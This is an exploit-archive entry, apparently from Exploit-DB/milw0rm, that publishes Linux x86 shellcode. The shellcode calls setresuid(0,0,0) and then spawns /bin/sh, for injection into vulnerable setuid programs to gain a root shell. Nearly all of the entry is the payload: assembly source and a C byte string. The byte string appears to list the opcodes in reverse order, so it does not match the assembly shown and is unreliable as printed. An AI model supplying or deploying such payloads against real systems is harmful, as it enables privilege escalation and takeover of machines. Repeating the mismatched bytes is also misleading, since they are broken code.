Linux/x86 - setresuid(0_0_0) + /bin/sh Shellcode (35 bytes)
Author: sorrow
type:
platform: linux_x86
port: 35.0
date_added: 2008-09-28
date_updated: 2018-01-09
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url:
{==========================================================}
{ linux x86 setresuid(0,0,0)-/bin/sh shellcode 35 bytes }
{==========================================================}
Shellcode by the FHM crew:
----------------------------
http://fhm.noblogs.org
----------------------------
Contact us at:
--------------------------------------------------
sorrow: rawhazard@autistici.org; betat@hotmail.it
--------------------------------------------------
fhm: fhm@autistici.org;
--------------------------------------------------
Assembly code:
--[code]--
BITS 32
;setresuid(0,0,0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq
mov BYTE al, 0xa4
int 0x80
;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80
--[/code]--
Shellcode string:
--[code]--
char shellcode [] =
"\x80\xcd\xe1\x89\x53\xe2\x89\x51\xe3\x89\x6e\x69\x62\x2f\x68\x68\x73\x2f\x2f
\x68\x51\x58\x0b\x6a\x80\xcd\xa4\xb0\x99\xc9\x31\xdb\x31\xc0\x31"
-[/code]-
# milw0rm.com [2008-09-29]